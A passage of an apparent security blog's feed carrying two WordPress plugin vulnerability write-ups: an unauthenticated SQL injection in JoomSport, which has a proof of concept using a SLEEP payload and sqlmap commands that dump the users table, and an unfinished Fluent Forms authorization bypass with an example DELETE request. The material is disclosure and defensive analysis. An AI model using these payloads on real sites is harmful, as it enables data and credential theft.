</content:encoded><atom:updated>2026-05-10T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-6929: JoomSport Unauthenticated SQL Injection (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-6929-joomsport-unauthenticated-sql-injection/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-6929-joomsport-unauthenticated-sql-injection/</guid><description>CVE-2026-6929: CVSS 7.5 unauthenticated SQL injection in JoomSport (&lt;=5.7.7) exposes database data to any unauthenticated visitor via the sortf parameter.</description><pubDate>Sat, 09 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-6929&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; unauthenticated time-based blind SQL injection vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/joomsport-sports-league-results-management/&quot;&gt;JoomSport – for Sports: Team &amp;amp; League, Football, Hockey &amp;amp; more&lt;/a&gt; WordPress plugin. Any visitor — without logging in — can send a crafted &lt;code&gt;sortf&lt;/code&gt; parameter to a page with the player list and force the database server to delay its response, confirming SQL injection. From there, the attacker can extract any data stored in the WordPress database.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;JoomSport – for Sports: Team &amp;amp; League, Football, Hockey &amp;amp; more&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;joomsport-sports-league-results-management&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6929&quot;&gt;CVE-2026-6929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL Injection (Time-Based Blind)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/joomsport-sports-league-results-management.5.7.6.zip&quot;&gt;&amp;lt;= 5.7.7&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/joomsport-sports-league-results-management.5.7.8.zip&quot;&gt;5.7.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 12, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daroo-2&quot;&gt;daroo&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The JoomSport plugin allows any visitor to sort the player list by passing a &lt;code&gt;sortf&lt;/code&gt; GET parameter in the URL. In versions up to and including 5.7.7, that parameter is taken from user input and placed directly into the SQL &lt;code&gt;ORDER BY&lt;/code&gt; clause without proper validation. The only safeguard applied is WordPress&apos;s &lt;code&gt;sanitize_text_field()&lt;/code&gt;, which strips HTML tags but does not prevent SQL injection. As a result, an unauthenticated attacker can inject SQL expressions into the sort field and extract sensitive information from the database through time-based blind injection techniques.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable File: &lt;code&gt;class-jsport-playerlist.php&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The vulnerability starts in &lt;code&gt;sportleague/classes/objects/class-jsport-playerlist.php&lt;/code&gt;. Inside the &lt;code&gt;loadObject()&lt;/code&gt; method, the plugin reads the &lt;code&gt;sortf&lt;/code&gt; GET parameter and uses it to build the SQL &lt;code&gt;ORDER BY&lt;/code&gt; clause:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-jsport-playerlist.php — lines 78–80 (version 5.7.6)
if (classJsportRequest::get(&apos;sortf&apos;)) {
    $typeAD = in_array(classJsportRequest::get(&apos;sortd&apos;), array(&quot;ASC&quot;,&quot;DESC&quot;))?classJsportRequest::get(&apos;sortd&apos;):&quot;ASC&quot;;
    $options[&apos;ordering&apos;] = str_replace(&quot; &quot;,&quot;&quot;,sanitize_text_field(&quot;`&quot;.classJsportRequest::get(&apos;sortf&apos;).&quot;`&quot;)).&apos; &apos;.$typeAD;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code wraps the user-supplied value in backtick characters (&lt;code&gt;`&lt;/code&gt;) and calls &lt;code&gt;sanitize_text_field()&lt;/code&gt;. Neither defense prevents SQL injection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backtick wrapping&lt;/strong&gt; is meant to quote a column name in MySQL. However, a user can close the first backtick by supplying their own backtick in the input — escaping the quoted context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt;&lt;/strong&gt; removes HTML tags and strips certain whitespace. It does not escape or remove SQL-special characters such as backticks, dashes, or SQL keywords.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, if the attacker sends &lt;code&gt;sortf=played%60-SLEEP(5)--&lt;/code&gt; (URL-encoded backtick), the plugin builds:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`played`-SLEEP(5)-- ASC
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How the Input Reaches the Database&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;classJsportRequest::get()&lt;/code&gt; method reads &lt;code&gt;$_REQUEST[&apos;sortf&apos;]&lt;/code&gt; and applies &lt;code&gt;sanitize_text_field()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-jsport-request.php — line 33
$return = isset($_REQUEST[$var]) ? sanitize_text_field(wp_unslash($_REQUEST[$var])) : &apos;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No authentication check is applied anywhere in this code path. The &lt;code&gt;$options[&apos;ordering&apos;]&lt;/code&gt; value is then passed to &lt;code&gt;classJsportgetplayers::getPlayersFromTeam()&lt;/code&gt;, which concatenates it directly into a raw SQL string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-jsport-getplayers.php — line 153
$query .= &apos; ORDER BY &apos;.($ordering)
    .(isset($limit) &amp;amp;&amp;amp; $limit ? &quot; LIMIT {$limit}&quot; : &apos;&apos;)
    .(isset($limit) &amp;amp;&amp;amp; $limit &amp;amp;&amp;amp; isset($offset) ? &quot; OFFSET {$offset}&quot; : &apos;&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same direct concatenation appears on lines 102 and 197 for different query paths. None of these use &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; or any parameterized approach for the &lt;code&gt;ORDER BY&lt;/code&gt; clause.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; is not a SQL-escaping function. It is designed for display safety, not database safety. The code never validates that the &lt;code&gt;sortf&lt;/code&gt; value matches an allowed column name. Any string that survives &lt;code&gt;sanitize_text_field()&lt;/code&gt; — including SQL expressions — is inserted verbatim into the query.&lt;/p&gt;
&lt;p&gt;Because the player list is rendered on publicly accessible pages (via the &lt;code&gt;joomsport_season&lt;/code&gt; post type or the &lt;code&gt;[jsMatchPlayerList]&lt;/code&gt; shortcode), no login is required to reach this code path.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This proof of concept is provided for educational and defensive purposes only. Test only on systems you own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JoomSport plugin installed and activated, version ≤ 5.7.7&lt;/li&gt;
&lt;li&gt;At least one &lt;code&gt;joomsport_season&lt;/code&gt; post published, or a page with the &lt;code&gt;[jsMatchPlayerList]&lt;/code&gt; shortcode&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TARGET_URL&lt;/code&gt; = URL of any such page (e.g. &lt;code&gt;https://example.com/my-league/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Confirm time-based injection (5-second delay):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# The backtick closes the quoted column context; SLEEP(5) delays the response.
# Note: URL-encode the backtick as %60.
curl -s -o /dev/null -w &quot;Time: %{time_total}s\n&quot; \
  &quot;https://example.com/my-league/?sortf=played%60-SLEEP(5)--&amp;amp;sortd=ASC&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output (vulnerable site):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Time: 5.2s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On a patched site the response returns immediately (&amp;lt; 1 second) because the payload is rejected by the allowlist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Extract data with SQLMap (time-based blind):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;https://example.com/my-league/?sortf=played&amp;amp;sortd=ASC&quot; \
  -p sortf \
  --technique=T \
  --level=1 \
  --risk=1 \
  --dbs \
  --batch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SQLMap will detect the time-based blind injection point and enumerate databases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Dump WordPress users table:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -u &quot;https://example.com/my-league/?sortf=played&amp;amp;sortd=ASC&quot; \
  -p sortf \
  --technique=T \
  -D wordpress \
  -T wp_users \
  -C user_login,user_email,user_pass \
  --dump \
  --batch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This retrieves all WordPress usernames, email addresses, and hashed passwords from the database.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 5.7.8 fixes the vulnerability by introducing a strict allowlist for the &lt;code&gt;sortf&lt;/code&gt; parameter. The unsafe direct use of user input is replaced with a validated variable &lt;code&gt;$sortFieldEsc&lt;/code&gt; that defaults to &lt;code&gt;post_title&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-jsport-playerlist.php
+        $sortFieldEsc = &apos;post_title&apos;;
+        $sortCols = array(&quot;played&quot;, &quot;career_minutes&quot;,&quot;post_title&quot;);
+
         if (classJsportRequest::get(&apos;sortf&apos;)) {
             $link .= &apos;&amp;amp;sortf=&apos;.classJsportRequest::get(&apos;sortf&apos;);
             $link .= &apos;&amp;amp;sortd=&apos;.classJsportRequest::get(&apos;sortd&apos;);
+
+            if (in_array(classJsportRequest::get(&apos;sortf&apos;), $sortCols)) {
+                $sortFieldEsc = classJsportRequest::get(&apos;sortf&apos;);
+            }
+            if (preg_match(&apos;/^eventid_\d+$/&apos;, classJsportRequest::get(&apos;sortf&apos;))) {
+                $sortFieldEsc = classJsportRequest::get(&apos;sortf&apos;);
+            }
+            if (preg_match(&apos;/^ef_\d+$/&apos;, classJsportRequest::get(&apos;sortf&apos;))) {
+                $sortFieldEsc = classJsportRequest::get(&apos;sortf&apos;);
+            }
         }

         if (classJsportRequest::get(&apos;sortf&apos;)) {
             $typeAD = in_array(classJsportRequest::get(&apos;sortd&apos;), array(&quot;ASC&quot;,&quot;DESC&quot;))?classJsportRequest::get(&apos;sortd&apos;):&quot;ASC&quot;;
-            $options[&apos;ordering&apos;] = str_replace(&quot; &quot;,&quot;&quot;,sanitize_text_field(&quot;`&quot;.classJsportRequest::get(&apos;sortf&apos;).&quot;`&quot;)).&apos; &apos;.$typeAD;
+            $options[&apos;ordering&apos;] = str_replace(&quot; &quot;,&quot;&quot;,sanitize_text_field(&quot;`&quot;.$sortFieldEsc.&quot;`&quot;)).&apos; &apos;.$typeAD;
         }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix ensures that only known-safe values reach the SQL query:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A static list of column names: &lt;code&gt;played&lt;/code&gt;, &lt;code&gt;career_minutes&lt;/code&gt;, &lt;code&gt;post_title&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Dynamic event columns matching the pattern &lt;code&gt;eventid_&amp;lt;number&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Extra field columns matching the pattern &lt;code&gt;ef_&amp;lt;number&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any other input is silently ignored and the safe default &lt;code&gt;post_title&lt;/code&gt; is used instead. This approach removes the injection vector entirely.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 12, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update JoomSport to version &lt;strong&gt;5.7.8 or later&lt;/strong&gt; immediately.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find &lt;strong&gt;JoomSport – for Sports: Team &amp;amp; League, Football, Hockey &amp;amp; more&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update Now&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can also download version 5.7.8 directly from &lt;a href=&quot;https://wordpress.org/plugins/joomsport-sports-league-results-management/&quot;&gt;wordpress.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update right away, temporarily deactivate the plugin to remove the attack surface until the update is applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter&quot;&gt;Wordfence Advisory — CVE-2026-6929&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6929&quot;&gt;CVE Record — CVE-2026-6929&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/sportleague/base/wordpress/classes/class-jsport-getplayers.php#L153&quot;&gt;Vulnerable file: class-jsport-getplayers.php (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/sportleague/classes/objects/class-jsport-playerlist.php#L80&quot;&gt;Vulnerable file: class-jsport-playerlist.php (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3516487%40joomsport-sports-league-results-management&amp;amp;new=3516487%40joomsport-sports-league-results-management&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Patch changeset on plugins.trac.wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-09T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5396: Fluent Forms Authorization Bypass via form_id (CVSS 8.2)</title><link>https://hurayraiit.com/blog/cve-2026-5396-fluent-forms-authorization-bypass-form-id/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5396-fluent-forms-authorization-bypass-form-id/</guid><description>CVE-2026-5396 is a CVSS 8.2 High severity Authorization Bypass in Fluent Forms &lt;= 6.1.21. A restricted Fluent Forms Manager can read, modify, and delete submissions from any form.</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5396&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.2 High&lt;/strong&gt; &lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;Authorization Bypass Through User-Controlled Key&lt;/a&gt; vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;Fluent Forms&lt;/a&gt; WordPress plugin. An authenticated attacker with Fluent Forms Manager access restricted to specific forms can bypass that restriction. They can read, modify, add notes to, and permanently delete form submissions belonging to any other form on the site.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fluent Forms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fluentform&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5396&quot;&gt;CVE-2026-5396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authorization Bypass Through User-Controlled Key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/fluentform.6.1.21.zip&quot;&gt;&amp;lt;= 6.1.21&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/fluentform.6.2.0.zip&quot;&gt;6.2.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/sander-horsman&quot;&gt;Sander Horsman - Conda Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentform/fluent-forms-6121-authenticated-subscriber-authorization-bypass-via-form-id-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Fluent Forms lets administrators grant non-admin users &quot;Fluent Forms Manager&quot; access. Admins can restrict a manager to specific forms only. A manager assigned to form A should only see and manage submissions for form A — not form B, C, or any other form.&lt;/p&gt;
&lt;p&gt;This restriction is enforced by the &lt;code&gt;SubmissionPolicy&lt;/code&gt; class. Because of a logic flaw in versions up to 6.1.21, that restriction can be bypassed. The policy checked permissions using a &lt;code&gt;form_id&lt;/code&gt; value that came directly from the HTTP request. An attacker could supply any &lt;code&gt;form_id&lt;/code&gt; they were authorized for, while targeting submissions from a completely different form using its &lt;code&gt;entry_id&lt;/code&gt; in the URL.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;How Fluent Forms Manages Submissions&lt;/h3&gt;
&lt;p&gt;Fluent Forms registers a REST-like API via WordPress admin-ajax. Submission routes are grouped under &lt;code&gt;SubmissionPolicy&lt;/code&gt; in &lt;code&gt;app/Http/Routes/api.php&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Http/Routes/api.php (line 58)
$router-&amp;gt;prefix(&apos;submissions&apos;)-&amp;gt;withPolicy(&apos;SubmissionPolicy&apos;)-&amp;gt;group(function ($router) {
    $router-&amp;gt;get(&apos;/&apos;, &apos;SubmissionController@index&apos;);
    $router-&amp;gt;get(&apos;resources&apos;, &apos;SubmissionController@resources&apos;);
    $router-&amp;gt;post(&apos;bulk-actions&apos;, &apos;SubmissionController@handleBulkActions&apos;);
    $router-&amp;gt;get(&apos;print&apos;, &apos;SubmissionController@print&apos;);
    $router-&amp;gt;get(&apos;all&apos;, &apos;SubmissionController@all&apos;);
    $router-&amp;gt;delete(&apos;/{entry_id}&apos;, &apos;SubmissionController@remove&apos;);

    $router-&amp;gt;prefix(&apos;{entry_id}&apos;)-&amp;gt;group(function ($router) {
        $router-&amp;gt;get(&apos;/&apos;, &apos;SubmissionController@find&apos;);
        $router-&amp;gt;post(&apos;status&apos;, &apos;SubmissionController@updateStatus&apos;);
        $router-&amp;gt;post(&apos;is-favorite&apos;, &apos;SubmissionController@toggleIsFavorite&apos;);
        $router-&amp;gt;get(&apos;notes&apos;, &apos;SubmissionNoteController@get&apos;);
        $router-&amp;gt;post(&apos;notes&apos;, &apos;SubmissionNoteController@store&apos;);
    });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that entry-scoped routes (read, update status, delete) use &lt;code&gt;{entry_id}&lt;/code&gt; in the URL path. This is the ID of the specific submission being targeted.&lt;/p&gt;
&lt;h3&gt;The Vulnerable Authorization Check&lt;/h3&gt;
&lt;p&gt;Before any submission action runs, &lt;code&gt;SubmissionPolicy&lt;/code&gt; checks whether the current user has access. Here is the vulnerable code in version 6.1.21:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Http/Policies/SubmissionPolicy.php (version 6.1.21)
public function verifyRequest(Request $request)
{
    return Acl::hasPermission(&apos;fluentform_entries_viewer&apos;, $request-&amp;gt;get(&apos;form_id&apos;));
}

public function handleBulkActions(Request $request)
{
    return Acl::hasPermission(&apos;fluentform_manage_entries&apos;, $request-&amp;gt;get(&apos;form_id&apos;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both methods pass &lt;code&gt;$request-&amp;gt;get(&apos;form_id&apos;)&lt;/code&gt; to &lt;code&gt;Acl::hasPermission()&lt;/code&gt;. This value comes directly from the HTTP query string — it is fully attacker-controlled.&lt;/p&gt;
&lt;h3&gt;How the Permission Check Works&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Acl::hasPermission()&lt;/code&gt; calls &lt;code&gt;FormManagerService::hasFormPermission()&lt;/code&gt; to check whether the current user has access to the given form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Modules/Acl/Acl.php (line 118)
public static function hasPermission($permissions, $formId = false)
{
    if ($formId &amp;amp;&amp;amp; !FormManagerService::hasFormPermission($formId)) {
        return false;
    }
    // ... rest of capability check
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// app/Services/Manager/FormManagerService.php (line 62)
public static function hasFormPermission($formId)
{
    if ($formId &amp;amp;&amp;amp; $allowedForm = self::getUserAllowedForms()) {
        $formId = is_array($formId) ? array_map(&apos;intval&apos;, $formId) : [intval($formId)];
        return (bool)array_intersect($formId, $allowedForm);
    }
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The check answers: &quot;Is &lt;code&gt;form_id&lt;/code&gt; in the user&apos;s allowed forms list?&quot; If yes, the request is authorized.&lt;/p&gt;
&lt;h3&gt;The Disconnect Between Authorization and Action&lt;/h3&gt;
&lt;p&gt;Here is the root cause. Authorization checks &lt;code&gt;form_id&lt;/code&gt; from the request. But the actual database operation targets a submission by &lt;code&gt;entry_id&lt;/code&gt; from the URL path.&lt;/p&gt;
&lt;p&gt;Look at the &lt;code&gt;remove()&lt;/code&gt; method in &lt;code&gt;SubmissionController&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app/Http/Controllers/SubmissionController.php (line 110)
public function remove(SubmissionService $submissionService, $submissionId)
{
    try {
        $submission = Submission::findOrFail($submissionId);
        $submissionService-&amp;gt;deleteEntries([$submissionId], $submission-&amp;gt;form_id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The controller fetches the submission by &lt;code&gt;$submissionId&lt;/code&gt; (from the URL) and deletes it. It never verifies that &lt;code&gt;$submission-&amp;gt;form_id&lt;/code&gt; matches the &lt;code&gt;form_id&lt;/code&gt; that was used for authorization.&lt;/p&gt;
&lt;p&gt;The same pattern applies to &lt;code&gt;find()&lt;/code&gt;, &lt;code&gt;updateStatus()&lt;/code&gt;, &lt;code&gt;toggleIsFavorite()&lt;/code&gt;, and the notes endpoints. In all cases, authorization uses the request&apos;s &lt;code&gt;form_id&lt;/code&gt;, but the operation targets the submission by its &lt;code&gt;entry_id&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Full Attack Path&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Admin grants attacker Fluent Forms Manager access, restricted to form 5.&lt;/li&gt;
&lt;li&gt;Attacker&apos;s user meta: &lt;code&gt;_fluent_forms_has_specific_forms_permission&lt;/code&gt; = &lt;code&gt;&apos;yes&apos;&lt;/code&gt;, &lt;code&gt;_fluent_forms_allowed_forms&lt;/code&gt; = &lt;code&gt;[5]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Attacker discovers that submission entry ID 100 exists (belonging to form 10 — a restricted form).&lt;/li&gt;
&lt;li&gt;Attacker sends: &lt;code&gt;DELETE /wp-admin/admin-ajax.php?action=fluentform_admin_ajax&amp;amp;route=submissions/100&amp;amp;form_id=5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SubmissionPolicy::handleBulkActions()&lt;/code&gt; checks: does the user have access to &lt;code&gt;form_id=5&lt;/code&gt;? &lt;strong&gt;Yes.&lt;/strong&gt; Access granted.&lt;/li&gt;
